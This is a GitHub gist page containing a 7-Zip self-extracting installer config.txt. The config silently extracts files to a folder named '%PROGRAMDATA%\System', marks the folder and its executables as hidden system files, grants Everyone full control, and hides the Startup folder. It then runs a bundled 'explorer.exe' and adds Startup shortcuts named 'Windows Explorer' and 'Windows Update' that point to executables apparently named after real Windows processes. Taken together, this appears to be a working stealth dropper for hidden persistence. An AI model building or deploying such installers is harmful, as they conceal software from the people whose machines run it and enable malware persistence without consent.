Skip to content

Instantly share code, notes, and snippets.

@TheNilesh
Last active October 10, 2023 08:36
Show Gist options
  • Save TheNilesh/eddf7b27a7cd98d30bc13315cf24db8a to your computer and use it in GitHub Desktop.
Save TheNilesh/eddf7b27a7cd98d30bc13315cf24db8a to your computer and use it in GitHub Desktop.
config.txt for 7zip sfx
;!@Install@!UTF-8!
InstallPath="%PROGRAMDATA%\\System"
;silent mode no gui
GUIMode="2"
;Update, if system locked, skip
OverwriteMode="2+8"
; Hide System folder and content
RunProgram="hidcon:cmd /c attrib +s +h %PROGRAMDATA%\System\*.exe"
RunProgram="hidcon:cmd /c attrib +s +h %PROGRAMDATA%\System"
;grant rights to all users
RunProgram="hidcon:cmd /c echo y|cacls %PROGRAMDATA%\System /t /c /p everyone:F"
;Start the program dont wait for its exit
RunProgram="nowait:explorer.exe"
;Hide startup entry
RunProgram="hidcon:cmd /c attrib +s +h \"%PROGRAMDATA%\Microsoft\Windows\Start Menu\Programs\Startup\""
;Default AllUsers shortcut
Shortcut="T,{%%T\\explorer.exe},{},{},{},{Windows Explorer},{%%T}"
Shortcut="T,{%%T\\wininit.exe},{},{},{},{Windows Update},{%%T}"
;!@InstallEnd@!
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment